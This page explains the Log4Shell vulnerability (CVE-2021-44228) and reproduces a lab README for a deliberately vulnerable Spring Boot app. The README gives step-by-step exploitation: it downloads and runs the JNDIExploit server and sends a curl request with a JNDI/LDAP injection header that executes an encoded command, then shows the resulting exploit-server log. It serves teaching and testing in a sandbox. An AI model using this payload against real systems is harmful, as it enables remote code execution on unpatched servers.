Log4shell | CVE-2021-44228

On Dec 9th, a zero-day exploit in an open-source library named “Log4j” was made public. This library is very popular for creating logs by Java applications.

The vulnerability is labelled as Log4Shell $CVE-2021-44228: and results in remote code execution (RCE) and is assigned highest CVE severity level of 10. The vulnerability impacts Apache Log4j2 versions 2.0 to 2.14.1.

The vulnerability can be exploited very easily if a user can connect to a Java based application and user can send a specially crafted string to the application over any protocol including TCP, HTTP or HTTPS.

It is particularly difficult to detect the presence of the library because it can be used in a source code form in any Java-based application and so simple software BOM generation tools may not be effective.

Log4Shell sample vulnerable application (CVE-2021-44228)

This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell .

It uses Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181.

Running the application

Run it:

docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Build it yourself (you don’t need any Java-related tooling):

docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

Exploitation steps

Note: This is highly inspired from the original LunaSec advisory . Run at your own risk, preferably in a VM in a sandbox environment.

Update (Dec 13th): The JNDIExploit repository has been removed from GitHub (presumably, not by GitHub )… Click Here to Download the version cached by the Wayback Machine.

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Then, trigger the exploit using:
# will execute 'touch /tmp/pwned'
curl -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to
[+] New HTTP Request From /  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • To confirm that the code execution was successful, notice that the file /tmp/pwned.txt was created in the container running the vulnerable application:
docker exec vulnerable-app ls /tmp




@christophetd @rayhan0x01

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